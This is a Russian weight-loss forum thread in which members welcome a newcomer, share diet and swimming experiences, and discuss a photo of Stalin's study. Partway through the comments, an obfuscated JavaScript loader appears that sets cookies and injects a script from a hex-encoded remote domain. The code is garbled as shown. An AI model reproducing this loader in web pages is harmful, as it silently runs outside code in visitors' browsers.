Я худею.

В добрый путь!!! Все реально!

Добро пожаловать! Всегда рады новым людям!

Приветствуем! Удачи!

Добро пожаловать!
Я тоже когда работала, держала вес, а как перестала работать, вес сразу же вверх. Тоже как и вы стараюсь сейчас дома заниматься.
Удачи вам и все получится!

Добро пожаловать!!! Не думайте, что на этом сайте только молодые (20-30 лет) девчонки , которым надо скинуть 10-15 кг. Мне, например 46 и пришла сюда с весом в 113 кг.. За 8 месяцев скинула 27,5 кг., но еще есть над чем работать. Удачи и не стесняйтесь - спрашивайте - знающие люди помогут.

красота какая! а чей это кабинет? мобильный телефон очень хорошо оттеняет его "старинность"

Вы молодец-молодец! Добро пожаловать!

Мы белые и пушистые, Мы белые и пушистые, Это на экскурсии" Ставка Сталина"  в Москве. Это его кабинет.Очень интересная экскурсия. Рекомендую.

У Вас все получится! Удачи!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

добро пожаловать

Ирина Васильевна Ганус, браво! Уважаю всех, кому не наплевать на себя!

Мы белые и пушистые, я тоже на это обратил внимание - это про мобильник.
А кабинет этот скорее всего автора еще прижизненного Первого издания (1920-26) вождя всех народов. 
Том 10 - Материализм и эмпириокритинизм.

Ирина Васильевна Ганус, у вас все получится, а в бассейн это отлично !

Удачи вам все получиться!!!!!

Ирина Васильевна Ганус, ваш комент про кабинет прочитал с опозданием.
Меня в рассуждениях о принадлежности кабинета сбила информация о прижизненном издании собрания сочинений.
Поэтому сделал такой ошибочный вывод.

Ирина Васильевна Ганус написал:
Постараюсь ходить в бассейн,

вот именно ХОДИТЕ -как можно больше,если есть время ,то только пешком -в бассейн ли.в магазин,по другим делам. Это самый полезный и абсолютно бесплатный способ тратить калории .
Приветствую вас и желаю терпения и удачи!!!

удачи

В наших рядах прибыло. Мне 55, я тоже не работаю. Начала худеть с 01.10.15г.

какие вы молодцы! конечно заниматься собой  и своим здоровьем никогда не поздно начать!! удачи!

Хочу с Вами подружиться. Мы ровесницы

Вчера был в бассейне с меня денег взяли как с пенсионера, обидно но экономно, в 3 раза меньше,  наплавался вдоволь, сейчас все тело как через мясорубку пропустили, хотя я физич. подготовленный, обалденно только нужно плавать без передышки, а не как многие встанут и балаболят.
Если будете 3 раза в неделю и соблюдать ПП, 20 кг. к весне в бассейне оставите к гадалке не ходи
Час занятий 300-500 ккаллорий

Я на следующий год буду в ваших рядах, пенсионных, но ничего стараюсь правильно питаться и занимаюсь дома с Л. Сансон.

Добро пожаловать!

А я наоборот, перестала работать - стала худеть,

добро пожаловать)))

елена д, у меня тоже самое, стало больше временени на себя, всё время  тратишь на хобби, прогулки и здоровую еду.Гораздо лучше себя чувствую, а убрала из рациона мясо, молочку и сахар - поняла, что надо было это сделать раньше - это совсем другое качество жизни, 

Вы молодец что пришли сюда,все у вас получится 

Бетти Ханг, а я ничего не убирала, только оптимизировала: мясо - в основном куриная грудка, молочка маложирная, сахар сокращен. Плюс высыпаюсь, фитнес.

Да, фитнес это хорошо. Что-то у меня с бассейном не получается - на льготные сеансы не успеваю: сперва первоочередные заботы. уход за мамой. И как всегда, Я остаётся в конце.